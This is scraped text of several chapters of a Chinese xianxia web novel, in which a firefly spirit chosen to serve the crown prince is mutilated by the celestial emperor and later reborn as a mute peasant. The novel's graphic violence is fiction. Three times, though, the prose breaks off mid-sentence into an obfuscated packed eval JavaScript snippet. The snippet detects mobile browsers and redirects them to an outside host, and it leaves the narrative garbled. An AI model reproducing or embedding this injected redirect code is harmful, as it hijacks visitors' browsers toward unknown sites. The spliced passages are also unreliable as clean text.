仙人们纷纷望向御座之上的那个男人,期盼他能否决这个荒唐的选择。 ——太子的历劫随侍竟是一只笨拙的灵虫,这个消息若传出去,他们整个仙界都将沦为笑柄! 过了很久很久。 仙帝不辨喜怒的声音终于响起: “既然魂晷选择了他,那就让他陪湣儿去人界吧。” 宵烛怔怔地盯着身下的青玉地板,只觉得自己像置身于一场不真实的幻梦之中。 他是太子的历劫随侍。 他马上就要去凡间了。 他……能有机会回神农谷吗? 宵烛突然想起了灵卜临别时的那番话。灵卜说:“琼阆天宫困不住你这只小飞萤,再耐心等等,很快你就能离开了。” 原来,灵卜早就料到了这一切。 等去了凡间,说不定还能遇到灵卜呢! 那家伙,辞行这么久,不知在人间有没有找到比千春浮白更醇美的佳酿? 思及此,宵烛心里的苦闷淡去了几分。 去人间不见得是一件坏事。虽然他身负陪太子历劫的重任,但闲暇之余,也能看看仙界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490817|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以外的风景,总比天天困在文琇宫里强。 “当——” 一阵古朴沉闷的青铜钟声穿透云霄,传入了主殿内。 它宣告着本次擢选大会的结束。 钟声落定,仙帝作出的选择不容转圜。 如此,擢选仙侍一事便算是定下了。 即便其余仙人心中抱有再多不甘,也只能遵从。 人潮陆续散去,大殿陡然变得空旷,最后只剩下宵烛和仙帝两人。 宵烛跪得浑身酸痛,四肢好像密密麻麻扎了无数根钢针,几乎要失去知觉。 他想起身,可仙帝没让他起身,他便不能擅自行动。 宵烛知道,高台御座之上的那道目光正在审视着自己。它冷冽、锐利、疏离、无情,浸着独属于仙界帝王的威压,想要一寸寸剥开他的皮肉,挖出他的魂魄和心。 “吱呀——” 等旁人都走光后,仙娥缓缓合上了主殿的宫门。 光线被阻挡,大殿内立刻变得黯淡。 宵烛不喜欢,甚至可以说害怕这种没有光的阴暗环境。 他蜷了蜷身体,强行压下心中的恐惧,并按捺住想要逃跑的冲动。 想逃也逃不掉。他注定要面对这一遭的,不过是时间早晚的问题。 这时,仙帝发话了:“你叫什么名字?” “宵、宵烛,”宵烛哆嗦了一下,说,“宵烛舞微光,林幽夏夜长。无心争皓月,自在饮秋霜……这是太子殿下为我起的名字。” “他倒是有闲心,”仙帝冷嗤一声,“连个小玩意儿也这么上心。” 仙帝口中的“小玩意儿”,指的自然是宵烛。 宵烛抿了抿唇,不敢辩驳。 有什么好辩驳的呢? 在这些高高在上的仙族眼里,神农谷里的萤火虫可不就是供人肆意取乐的物件。让它们哭它们就得哭,让它们笑,它们就得笑。 即便他现在已经化出人形,也改变不了一个玩物的本质。 见宵烛沉默,仙帝又问: “这些年你都藏身在文琇宫,是宣湣专门设的结界来保护你?” 不知不觉中,仙帝已离开御座,跨过一级又一级台阶,来到了宵烛面前。 宵烛怕得发抖,仍强作镇定道:“是。” 仙帝的声音如淬寒冰:“抬起头来。” 宵烛颤颤巍巍地直起身,刚把头抬起来一点,下颌处就倏然传来一阵钻心的痛楚。 “宣湣想来从未教过你规矩,”仙帝掰着宵烛的下巴,强迫他将脖颈仰成一个诡异扭曲的弧度,冰冷目光在少年秀丽的脸上寸寸巡梭,眉心越蹙越紧,“我要你记住,在这琼阆天宫里,身为仙侍,最大的罪责有两条:其一为僭越,其二,便是惑主。” 仙帝又说:“你这张脸,生得当真不好。” “陛下、陛下!”宵烛疼得眼泪都流出来了,“小奴的这张脸,是太子殿下亲手塑出来的!” 世人有云,身体发肤受之父母,父母是至亲之人,所以无论美丑,都应当爱惜他们赠予的躯壳。可宣湣并非宵烛的父亲,为他雕琢容貌之前,也从未过问他的意见,换句话说,无论他长成什么模样,是美是丑,都取决于宣湣的审美。 再者,他分明连宣湣的面都没见过,何来僭越,更何谈“惑主”! 仙帝分明是清楚这一切的,却仍要以此为由来发难,无非是厌憎他罢了。 10. 浮生梦 欲加之罪,何患无辞? 宵烛十分确信,若非自己身上还有几分利用价值,仙帝一定会毫不犹豫地将他当场处死。 他的存在是太子的污点,更是整座琼阆天宫的污点,人人都恨不得将他抹除。 可讽刺的是,当初将这个“污点”带到天上来的,也正是这群贪欲缠身的仙族。 怎么不算自食恶果呢? 宵烛的气息越来越微弱,两条手臂颓然垂下,连挣扎的力气都没有了。 好在这时,仙帝终于大发慈悲松开了手。 他冷眼看着瘫倒在地上的少年,薄唇吐出一句: “软弱愚钝,难堪重用。” ——是啊,难堪重用。 可他们又不得不用。 太子此番历劫极为凶险,一旦出现差池,他的神魂便会消散在天劫之下,再也无法重归上界。 仙界虽有诸多实力高强的仙君,但他们不能出手干涉太子的因果。 整个琼阆天宫里,能陪同太子历劫的,只有宵烛这只低贱的灵虫。 想到这里,仙帝阴郁地敛起了眉峰。 “若非情不得已,我不可能将湣儿的安危牵系在你身上,”仙帝缓缓开口道,“但,即便是去了凡间,成了凡人,你也须时刻谨记——太子为主你为奴,你只需要做好自己该做的事,莫言妄语,莫生妄念。” 何为妄语?何为妄念? 宵烛其实根本听不懂仙帝的话。 但他知道,眼下就算听不懂,他也要装作能听懂,否则还得吃一番苦头。 如此想着,宵烛不顾膝盖处的刺痛,稍稍往前挪了一点。 他跪在仙帝面前,战战兢兢道: “陛下无需忧虑。太子殿下怀德济世、慈悲心肠,是未来三界当之无愧的明主。小奴虽愚钝,却一定会尽心竭力保护殿下,让他平安度过天劫,然后、然后——” 然后什么呢?其实宵烛也没想出个所以然来。 他只是觉得,只要顺着仙帝的心意去讲话,让仙帝高兴,对方或许就能少为难他一点。 这都是以前在文琇宫的时候繁露教他的。 繁露爱美。有一天她不知从哪里寻了一朵朱紫芍药簪在鬓边,兴致勃勃地跑来问宵烛好不好看。 女孩生得清丽温婉,着一身简简单单的玉钗素裙便已极其出尘脱俗。朱紫芍药虽美,却太过秾艳,同她并不相配。 于是宵烛老老实实地说: “不太好看。” 繁露突然就生气了。她扔下那朵芍药,气呼呼地跑了出去。 宵烛丈二和尚摸不着头脑。 后来他追问半天,繁露才咬牙切齿道: “我知道你说的是真话。可有些时候,人们就爱听好听的假话,不爱听难听的真话。做人不能太诚实,要学会看眼色行事,明白吗?就比如刚刚,我那么高兴地等着你夸我,结果你却泼我冷水!你真是笨死了!” 好听的假话是什么?难听的真话又是什么? 宵烛被绕晕了。 见他如此迟钝,繁露一脸恨铁不成钢,嘀咕道: “唉……跟你这只小虫子计较个啥,真是自找罪受!” 又过些时日,仙界的月桂开了。 繁露采了几枝,编成小花环戴在头上,再次跑来问宵烛好不好看。 平心而论是好看的。但她那天已经编了个花苞状的发髻,发髻用五彩发绳固定,额前缀着亮闪闪的水晶饰品,再加上花环就显得太满太繁杂了。 宵烛想起上回的教训,说: “特别特别好看,非常非常配你。” 他想,这回繁露总该开心了吧? 结果繁露又生气了。 她说:“别以为我听不出来你在骗我!你这人,满口谎言,一点都不真诚!” 宵烛彻底懵了。 很久以后他才慢慢明白,原来啊,光把假话说得好听还不行,一定要说得像真话。 做人真难啊! 宵烛知道自己的演技十分拙劣。对于仙帝和太子,他的崇敬是假的,惟有深入骨髓的畏惧是真的。 在这群仙族面前,众生皆蝼蚁。他无法掌控自己的命运,每一步都如履薄冰。 “——太子殿下怀德济世、慈悲心肠,是未来三界当之无愧的明主……” “——小奴虽愚钝,却一定会尽心竭力保护殿下,让他平安度过天劫……” 宵烛诚惶诚恐的声音回荡在空寂昏暗的主殿内,每个字都充满讨好乞怜的意味。 但有些时候,示弱和讨好并不能换来怜悯,反而会更加勾起刽子手的施虐欲。 宵烛的肩胛骨抖得厉害,宛如一片飘摇在枝头的残叶。仙侍的衣袍裹在他身上整整宽了一截,更显得他的身形单薄如瓷。明明灭灭的月辉从门窗缝隙间悄然溜进殿内,沁过少年的肌肤,将他侧脸处的线条轮廓勾勒得异常秀丽。 这副模样,哪里像个正经的仙侍?更像是个…… 仙帝忽然上前一步,重重扯住宵烛的衣领,将他整个人半提了起来! “唔——!” 宵烛不明白对方为何要突然发难,一时懵了,甚至忘记了反抗。 “噗哧——!” 破碎的呜咽声从鼻腔溢出,飞溅的鲜血玷污了无瑕的青玉云阶。 血,到处都是血。 在眼睛被一片血雾模糊之前,宵烛看见了仙帝被血迹弄脏的玄色冕服,也从对方深不见底的漆黑瞳孔中,窥见了自己因剧痛而扭曲的面容。 锋利的冰刃重新飞回仙帝掌心,望着血泊里的半截断舌,男人嫌恶地皱了皱眉,将手里的少年丢开。 “身为仙侍,不可诳言妄语、更忌以下犯上。既然你学不会,那我只好用这种方法让你长长记性。” 宵烛像一条被剔去了骨头的鱼,连翻滚的力气也被尽数褫夺。 他睁大眼,奄奄一息地躺在地上,想要呼救,喉咙里却只能溢出一口又一口的鲜血。 他迷茫地想,我快死了吗? 好疼……疼得恨不得就此死去。 这一次,谁会来救他?是繁露、灵卜,还是宣湣? 不,没有人会来救他! 曾经宵烛以为,傀儡丝穿心是世间最刻骨铭心的痛。 直到那一日在大殿上,仙帝剜去了他的舌头,令他再也无法言语,他才知晓,以前所经历的苦难,原来只是个开始。 生而为蝼蚁,他注定只能任人宰割。 * 擢选大会结束后,仙人们再没见过那只萤火虫。 听说它被送进了仙帝的寝宫里,由陛下亲自教导灵术,并学习凡间的知识,为下凡历劫做准备。 知晓此事后,仙人们的脸色都不太好看。 ——分明是一只卑贱的灵虫,凭什么能一步登天,轻而易举获得仙帝和太子的赏识? 这简直是明晃晃地告诉全体仙族:勤奋修炼、刻苦当值算什么?只要运气足够好,哪怕是蝼蚁之躯,也能骑到他们头上去! 人人都咽不下这口气,但人人都无可奈何。 毕竟,那是至高无上的仙界帝尊做出的决定。 他们不敢妄议帝尊的想法,于是,这些愤恨不甘最后往往会转化成对宵烛的攻讦和谩骂。 他们骂宵烛不知廉耻,骂宵烛谄媚逢迎,骂宵烛德不配位必有灾殃。所有言论都清清楚楚地落入了繁露仙子的耳朵里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490818|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有小仙娥偷偷问她:繁露繁露,听说你之前和那只萤火虫相处过,它真的有那么多歪心思吗? 繁露面色淡淡道:“记不太清楚了。” 文琇宫里的池鱼许久无人喂养,渐渐都游去了别处。 临湖的那间竹屋里还放着一卷棋谱,棋谱摊开在桌面上,落了一层又一层的灰。 太子养的金斑守宫胖了整整一圈,整日在文琇宫上蹿下跳,到处搞破坏。 那天繁露如往常一般将守宫逮回笼子,一名小仙娥突然急匆匆地跑来,说:“繁露仙子!陛下召您即刻前往文琞宫。” 文琞宫便是仙帝的寝宫。 繁露脚步微顿,然后说:“知道了。我这就去。” 从文琇宫到文琞宫,中间的一段路,繁露走了很久很久。 在内心深处,她甚至开始盼望这段路永远不要有终点。 抵达文琞宫时,微苦的药草气息瞬间扑面而来。 ——帝尊非肉体凡胎,一向身体康健,那么是谁生了病? “他将自己困在梦魇里,一直不愿意醒,”见到繁露,仙帝皱了皱眉,“无论用什么办法,务必让他醒过来。” 繁露颔首向仙帝行了一礼:“是。” 她没问仙帝口中的“他”到底是谁。 珠帘半卷处,层层叠叠的纱幔被金猊药炉里的残香浸透。繁露拨开纱幔,入目便是少年安静的睡颜。 宵烛睡得很沉。 他比之前还瘦了一点,皮肤下隐隐浮着青络状的筋脉,唇瓣上血色全无,只有微弱的呼吸证明他还活着。 一截莹白的腕子从锦被中滑落,腕子上缀着星星点点的红色於痕,似新雪压折梅枝,寻不见半分生机。 在旁边站了一会儿后,繁露弯下腰,把被子往上拢了拢,盖住了那截手腕。 她轻声问:“这些时日,你过得怎么样?” 根本是明知故问。 过得好的话,怎么可能变成这副半死不活的鬼样子。 睡梦中听见熟悉的声音,宵烛的嘴唇嚅了嚅,似是想要说话。 但他最终什么声音都没发出来。 隔着氤氲的药雾,繁露慢慢回忆起了一些旧时的画面。 明媚盎然的天光下,小少年将亲手摘来的木芙蓉小心翼翼地簪到她鬓边,神情忐忑: “对不起,繁露,我以后一定多说让你高兴的话!你不要再生我的气了,好不好嘛?你戴木芙蓉最好看!” 女孩拧着眉,狐疑道:“真的好看吗?我不相信你。” “真的。你总要我说好听的、听起来像真话的假话,可假话说得再好听再真诚,也始终是假话啊。我保证,这次一定是真的!不然我就、就被那只守宫吃掉!” “……自作多情,谁乐意吃你啊,嚼着都嫌硌牙。” “那你就是不生气了?太好啦!” …… 无数画面一齐涌入脑海。繁露眨了眨眼,眼眶中忽有晶莹的水光盈出,在锦被上洇开深色的痕迹。 是眼泪。 那些眼泪很快被她拭去,再寻不见一丝痕迹。 繁露伸出手,一串青色符咒缓缓飞进了少年的眉间。 床上的宵烛剧烈地挣扎起来,又被一股无形的力量禁锢住,动弹不得。 见此情景,繁露别开眼,似是不忍再看下去。 她当然知道宵烛现在有多么痛苦。 正是因为痛苦,才会把自己关进醒不来的梦境里,以寻求自欺欺人的解脱。 可马上,这场梦就要醒来了。 ——是她亲手将宵烛交到了仙帝手中,但她不后悔。再来一百次一千次,她也还是会选择这样做。 11. 两生花 香炉里的轻烟渐渐散去,只剩稀稀落落的烟灰。 见状,宵烛揉了揉僵硬发酸的颈椎,然后收起香炉,重新关上了窗子。 这只紫陶香炉并非凡间之物。它名叫传音炉,可以用来向琼阆天宫传递消息,是当初下凡前溯时星君交给宵烛的。 太子历劫,闲杂人等不可擅自窥视,否则会干扰其命数,甚至招致灾祸。为了准确掌握凡界的动向,溯时星君便想了这么个法子。 每月月末,宵烛都会依照约定点燃传音香炉,此举便是告知天界一切正常。 如今距离宵烛来到凡间已经过去了十四年。 这一世,他投胎为凡人冯宵烛,太子宣湣则成为了沂国的七皇子,宣兰樾。 冯宵烛生来就是个哑巴。幼时爹娘为此操碎了心,专门请了大夫替他诊治。 奇怪的是,这孩子明明口、喉、舌各处的器官皆完好无损,可就是无法发声说话。 旁人不知其中内情,宵烛却很清楚——他这怪病,是由仙帝一手造就的。 当初在琼阆天宫的主殿里,他被生生剜去舌头,淋漓鲜血蜿蜒成一地触目惊心的红河,从那以后,他就彻底失去了说话的能力。 痛吗?恨吗?怕吗? 宵烛不止一次问过自己这些问题。 答案当然是肯定的。 他甚至试图反抗,将自己的魂魄困在梦境里来逃避现实,最后却还是被繁露强行唤醒。 所以,这个劫,他不想历也得历;这个仙侍,他不愿当也必须当。 宵烛终于明白,原来他的想法根本不重要。 ——既然如此,那何必反抗呢? 他不过是一只谁都能轻易碾死的萤火虫,撼不动天界这棵大树,越挣扎就会死得越悲惨。 倘若老老实实陪同宣湣历劫,等来日对方重归神位,说不定能顾念着一点旧情,放他一条生路。 届时他会像灵卜一样,主动请辞离开天界,回到故乡神农谷,从此广阔天地任他遨游,想想都恣意快活。 转变想法后,宵烛不再自怨自艾,慢慢接受了现下的处境,开始正视自己作为仙侍的职责。 但他的运气实在说不上好,投胎投了个贫苦人家,又没钱又没人脉,到现在十四年过去了,连太子在哪都不知道。 关于宣兰樾,宵烛掌握的消息非常少,只知道这位七皇子是由沂国废后吕氏所出,受皇帝厌弃,很小的时候便被逐出了皇宫。 那么七皇子到底去了哪里呢? 有人说他当年流落街头,已经活活饿死了;有人说他被一户好心的屠户收养,成了平民百姓;还有的传言更离谱,说七皇子被山间野狼叼了去,如今正生活在深山老林里,整日同野兽作伴。 宵烛对此感到头疼。 凡界比仙界还要大得多,凭他一个人的力量,想要找到太子的转世,简直比登天还难。 好在溯时星君和仙帝也考虑到了这一点,于是在宵烛下凡前,将神器魂晷交给了他。 利用魂晷,宵烛可以大致感知到太子所在的方位,同时能通过此物确定对方是否还活着。 宣兰樾确实还活着,魂晷显示他如今正在沂国西北边塞一带活动。 宵烛本想直接去找宣兰樾,但他现在是凡人,家里还有个妹妹,受制于种种条件,抛下一切不管不顾地走人显然是不现实的。 他计划这两年先存一笔钱,替冯善花把嫁妆置办妥当,等妹妹成家后再跟随商队去西北闯荡。 以前在神农谷当萤火虫的时候,宵烛有许多兄弟姐妹,他发自内心怀念那段有亲人相伴的热闹时光。可后来它们都死了,留他一人在尘世中踽踽独行。 或许是被回忆触动,对于冯善花这个妹妹,宵烛格外疼惜。尽管知晓人间历劫不过是一场镜花水月,他仍希望她能有幸福美满的一生。 宵烛正兀自想得出神,这时,隔壁房间的冯善花突然喊道: “——宵烛宵烛!我洗完了。你现在有空吗,过来帮我个忙!” 听见她的声音,宵烛连忙把紫陶香炉塞到柜子底部,接着走进隔壁卧房。 冯善花已经卸了妆,又换了身干净的中衣,发尾湿哒哒淌着水。 即便素面朝天,她的眉眼也依旧是明艳俏丽的,宛如沾着露水的琼花。 见宵烛来,冯善花往他手中塞了盒油膏。 “喏,这是山茶秋露定膏。我最近头发有点枯焦发黄,云娘说用它来涂抹发尾,可使发丝顺滑如墨云垂瀑……我自己弄不太方便,宵烛你帮帮我。”云娘是收养冯善花的酒楼老板。 宵烛自然不会拒绝妹妹的请求。 宵烛坐在榻上,冯善花将头枕在他腿上,兄妹俩一边上发油,一边絮絮叨叨聊着天——当然,只有冯善花一个人在说话。 那山茶秋露定膏有很强的刺激性。宵烛今天回家时在山洞里折腾一通,手上添了几道伤,沾了油膏后伤口便火辣辣地疼。 他不动声色地忍住了,愣是没让女孩发现一丝端倪。 自打被邻县酒楼的老板娘收养后,冯善花便一直在那里学艺。她容貌出挑,人又聪明机灵,琴棋书画歌舞样样精通,老板娘对这个义女可谓是相当满意。 近两年冯善花回家的次数愈发少了,等以后宵烛也离开家,说不定就是永别。 每每思及此,宵烛都相当珍惜和她在一起的时光。 毕竟,她是他在这尘世中唯一的亲人。 宵烛用指尖揩了点油膏,在掌心化开抹匀,细细拍揉在女孩的头皮、发梢和鬓角,偶有粘黏缠绕的发丝,也会被他梳理妥当。 似是觉得舒服,冯善花闭上眼睛,鼻腔里溢出满足的喟叹。 她对宵烛说: “还是你手艺好。前阵子我犯头疼,云娘为我请了县里最好的推拿师傅,结果也就那么回事,比你差得远了!” 冯善花又讲了些邻县的趣闻,还有平日生活里的琐事。 宵烛听得十分认真,他很喜欢听妹妹讲这些。 冯善花生了张巧嘴。再平淡无聊的小事,到了她嘴里也会变得妙趣横生。 几年前冯善花刚出去学艺时,宵烛担忧她一个女孩子在外不安全,曾偷偷跑到邻县酒楼里探望妹妹。那时他没什么钱,只带了些自己晾制的果脯,还有一根精心雕刻的梨花木簪。 酒楼人多,宵烛个子矮,费老大一番工夫才挤到前排,终于瞧见了在舞台上跳舞的冯善花。 女孩明明年纪那么小,却穿着厚重的织锦拖地长裙,化了浓艳的妆容,头上簪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490819|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满珠花,站在一群舞娘中间领舞,像一只漂亮骄傲的小孔雀。 她跳得真好啊。水红广袖在空中散开,宛如一瓣瓣绽开的牡丹,旋身、下腰、舞袖,每一个动作都极尽曼妙优美。 众人都看呆了,宵烛也看呆了。 和其他年纪稍长的舞姬相比,冯善花学艺的时日要短得多,却能飞速爬上领舞的位置,想来暗地里一定吃了不少苦头。 演出结束后,宵烛悄悄溜进后台,想给冯善花一个惊喜。 之前冯善花就说过,很喜欢吃他制作的果脯。这回宵烛做了满满一大袋子,用的是家里最好最贵的白糖。 但果脯吃多了容易坏牙。小丫头嘴馋,贪吃起来总没个度,宵烛想,等会儿一定要提醒冯善花,每天两片,不许多吃,否则牙疼起来有她好受的! 宵烛又想,那丫头见到自己,会不会吓一跳?倘若她问起自己的来意,该怎么—— “吱呀”,后台的雕花木门忽然被推开。 冯善花拖着疲惫的身体,满脸倦容地走向梳妆台,刚坐下就发现了屋里的宵烛。 她的确结结实实吓了一大跳,神色也变得相当奇怪。 “宵烛?你怎么来了,家里出了什么事吗?” 没有没有。宵烛拼命摆手。 他举起那只装着果脯的布袋,冲冯善花晃了晃,露出一个有点傻气的笑容。 本以为妹妹会如往常一般嬉皮笑脸地扑过来拥住自己,但出乎宵烛意料的是,冯善花没接。 女孩的眼神让宵烛感到陌生。 他隐隐察觉,对于自己的到来,冯善花似乎并不怎么高兴。 果然,冯善花微微皱起眉,说: “没其他事的话,你就先回去吧。还有……你以后,不要再来了。” 宵烛愣在了原地。 或许是他的表情太过失魂落魄,女孩眼中流露出一丝不忍,但最后还是狠了狠心,说: “云娘给我买了很多果脯,其中有些还是西洋运来的货,我现在爱吃的都是那些。我还有很多漂亮的裙子和首饰,你雕的这只木簪太素了……我不需要。” 说完她便闭了嘴,屋内陷入一片沉寂,只剩疏落灯影静静打在两人身上。 世间还真就有如此稀奇的事。这兄妹俩,五官分明是从同一个模子里刻出来的,面对面站着跟照镜子似的,气质却迥然不同,哪怕瞎子来都不会把他俩认错。 冯善花明艳娇俏落落大方,一颦一笑都似初绽春华般引人注目;反观宵烛,是个哑巴不说,还总一副畏畏缩缩上不得台面的穷酸样。 ——有这样的兄长,任谁都会觉得丢人吧? 冯善花一向心高气傲,事事都要争先,事事都要压人一头。同龄人之间的攀比和恶意往往最是伤人,最初来到酒楼时,因为家境贫寒,冯善花没少被人暗地里议论指摘。于是她拼了命地练舞,甫一亮相便惊艳众人,从此再无人敢嘲笑轻视她。 宵烛的存在,会让她努力积攒多日的颜面荡然无存。 意识到这一点以后,宵烛再没有去酒楼找过冯善花。那根送不出去的梨花木簪也被他收了起来。 虽然失落,但他理解妹妹的苦衷。 身为兄长,他不该给冯善花增添不必要的麻烦。 12. 不系舟 宵烛帮冯善花上完发油时,夜色已深。 女孩打了个哈欠,长睫半垂,云鬓散乱,看着是困了。 宵烛不欲再打扰她,搁下那盒油膏,起身准备离开。 浴桶里的水早已凉透。临走时宵烛想顺手把浴桶给提出去,但那里面装得满满当当,单手拎很困难,他只好弯下腰,两手并用一起提。 宵烛现在到了抽条的年纪,个子逐年往上蹭,却还穿着前些年的做的葛布短衫,多少显得有些局促。 因着这个弯腰提水的动作,少年的脊背线条绷成了一张盈满的弓。他的衣摆随之往上缩短一截,后腰处大片白皙的肌肤暴露在空气里,似一块莹润细腻的羊脂玉。 宵烛浑然不在意,这一幕却被冯善花看在眼中。 一夜很快过去。 翌日清晨,牛乳状的薄雾尚笼在天际,宵烛就已经早早地醒了。 他轻手轻脚溜进灶房,开始准备早饭。 说来真是不凑巧。家里能吃的食材基本都吃光了,昨儿宵烛本打算领完工钱就去购置些米面果蔬,最后工钱没领到,反倒挨了肉铺老板一通责骂,那叫一个狼狈! 往常冯善花都是月底回来,这次却不知为何比预计提早了几天,给宵烛杀了个措手不及。 宵烛独自在家时无所谓挨不挨饿,他连水煮野菜都能拌着盐巴咽下去,可让妹妹也跟着吃这些,那是万万不行的。 为搜罗食材,宵烛把灶房翻了个底朝天。 所幸他运气不错,竟真的从一只破陶瓮里找到了些能吃的糙米,接着便是筛谷壳、泡水、入锅,一气呵成。 家里柴火也不够了,宵烛只能将晒干的丝瓜藤塞进土灶里,勉强充当燃料。 点火的火折子倒是有,但宵烛不需要这玩意儿。 他眼一闭,心中默念道: “气海腾朱鸟,绛宫引丙丁……” “轰——” 几簇火星子蹭蹭蹭地窜出,瞬间将安静的土灶点燃。 铁锅里的米粒渐渐饱胀,水泡“咕嘟咕嘟”翻涌着,声音霎是好听。 宵烛用一只豁口木勺小心翼翼地将多余的米汤舀出,这样做可以使粥稀稠适度。 他边擦汗边想,若灵卜知晓自己教的引火真诀被拿来生火点灶,不知会是什么样的心情? 想到那场景,宵烛“扑哧”一声笑了出来。 袅袅青烟顺着斑驳的土墙往上爬,在梁间结成絮状的灰云。 一碗清粥不够填肚子。宵烛又去杂物堆里翻出半袋面粉。 这面粉他原打算留到过年的时候擀饺子皮儿,眼下只能先拿来凑数了。 前日用过的面盆底部还沾着玉米面渣,新倒进去的面粉扬起细腻的白雾。 宵烛往里兑了些水,撸起袖子,掌根紧贴盆沿,转着圈儿揉开面团。 面团渐渐泛起漂亮的蜜色,又被他捏成小巧的窝窝头,乖乖排列在蒸笼的格子内。 水汽时不时顶开锅盖,锅盖上凝着的水珠正巧滴进灶灰里,发出细微的“嘶”响。 主食搞定,还剩配菜。 昨天晒的腌菜在此时派上了用场。 宵烛用竹筷择出多余的菜梗,淋上酱醋汁,放进锅里炒熟,最后捞出来一尝,嗯,味道相当不错。 米粥在粗瓷碗里漾开月牙白,窝窝头挨挨挤挤坐在柳条小筐中,腌菜的青碧衬得粗陶碟子都鲜亮了不少。各种色彩和谐交织,看一眼就令人食指大动。 宵烛手艺很好,再简单的食材都能被他弄得花样百出。 诱人的香气从灶房里往外溢,很快填满了整间茅草屋。 这时冯善花也起床了。她洗漱完毕,掀开门帘走出卧房,忍不住吸了吸鼻子,问:“宵烛你在弄啥呢?这么香。” 宵烛招呼她过来吃饭。 兄妹俩坐在一张方桌前,边吃边闲谈。 其实还是只有冯善花在讲话,宵烛在旁边默默倾听。 宵烛心里有点忐忑,他怕冯善花对这满桌毫无油腥的素菜起疑。 冯善花性格泼辣大胆,从来不是个肯吃亏的主儿。倘若她得知肉铺老板克扣宵烛工钱的事,指不定要怎么发脾气。宵烛不愿给她白白添堵。 好在冯善花身为舞姬,平日里为了保持身材,饮食一向清淡,暂时没发现什么端倪。 女孩咬着窝窝头,腮帮子撑得鼓鼓的,说话声都含糊了不少: “在濯音楼的时候,云娘总对我说,姑娘家就该有个姑娘家的样子,食不该言寝不能语,一举一动都要慎重思虑,万不可做出失态之举,白白遭人耻笑。也只有在家、在你面前,我才能把那些规矩抛之脑后了。唉……或许云娘说得有道理,可一直活在条条框框里真的很累。” 她不过随口一说,宵烛却听得心疼。 被邻县酒楼老板娘收为义女后,冯善花的生活条件的确好了不少,起码不用跟着他在乡野里吃苦了。 然而她本质是贱籍出身,身份谈不上光彩,对一个心思敏感细腻的十四岁孩子来说,寄人篱下终归是拘束的。 这些年冯善花在外面也挣了些钱,起初还会留一部分交给宵烛,可宵烛从来没收过。 他知道,冯善花虽然赚得多,但日常开销也大。为了演出,她要买胭脂水粉,买各色新裙子新首饰,什么都要钱,否则就会被外面那些拜高踩低的人看不起。 倘若他们生在富贵人家,冯善花何必小小年纪就拼了命地跳舞、去酒楼那种鱼龙混杂的地方抛头露面呢? 思及此,宵烛一时没了食欲。 他搁下碗筷,默默叹了口气。 “怎么不吃了?就那么几口能饱吗?”女孩诧异地挑了挑眉,像审犯人一样审视着宵烛,“对了,昨晚我就发现了,你最近肯定没有好好吃饭吧?腰比我的都要细啦!真怕你哪天干活时一不留神把腰给折了,怪不得连水桶都拎不动!” 没想到她观察得这么细致,宵烛大窘。 他并非真的拎不动水桶,只是昨天手上有伤,拎着比平日吃力罢了,但这种事又不好直接说出来。 所幸冯善花没有刨根究底。 她喝了口清粥,继续碎碎念道: “身体最重要,你在家要照顾好自己,尤其要好好吃饭……我跟你说,前阵子濯音楼有个姑娘,就因为被情郎说了一句胖,便立誓要瘦成盈盈一握的杨柳腰。她拼命清减,每过晌午便不再进食,你猜怎么着?最后差点闹出人命呢……唉,真是个傻姑娘。她那情郎自己都是个大腹便便的酒囊饭袋,满脸横肉形似猪彘,咋好意思开口让她清减的?为了男人眼中的美,去拼命扭曲自己的美,世上没有比这更蠢的行为了......” 她今天似乎话格外多,居然扯着宵烛一直讲到了晌午。 等好不容易消停会儿后,宵烛用手语问她,要不要午睡。 这是冯善花一直以来的习惯,饭后总要眯一会儿,不然整个下午都没精神。 但她摇了摇头,说: “不用了,我要走了。申时云娘就会派人来接我……哥,你好好保重。” 宵烛突然一怔。 倒不是奇怪她今天怎么走得这么急,以前她也有过前一天回来第二天就走的情况。 令宵烛讶然的是——冯善花刚才,竟然叫他“哥”。 平日里她几乎不这么叫的,都是直接喊“宵烛”。 按冯善花的说法,他们是胞兄妹,出生在同年同月同日同一时辰,宵烛不过比她早出来半炷香的时间,她却要喊哥哥,实在太吃亏了。 宵烛倒不在意这些。冯善花怎么叫他都行,只要她高兴就好。 可今天,她却破天荒地喊了声“哥”。 宵烛蓦地抬起头,发现女孩明艳精致的眉眼间藏着几分罕见的愁绪。 他心一沉,忽然有些不太好的预感。 “我这次离家,可能要过很久才能回来了,”静默半晌,冯善花轻声道,“具体是多久我不清楚,也许三个月,也许半年,也许好几年。不过你不用担心,我一定会有回来的那一天。” 这番突如其来的告别令宵烛懵在原地。 他用手语问:去哪儿? 冯善花说: 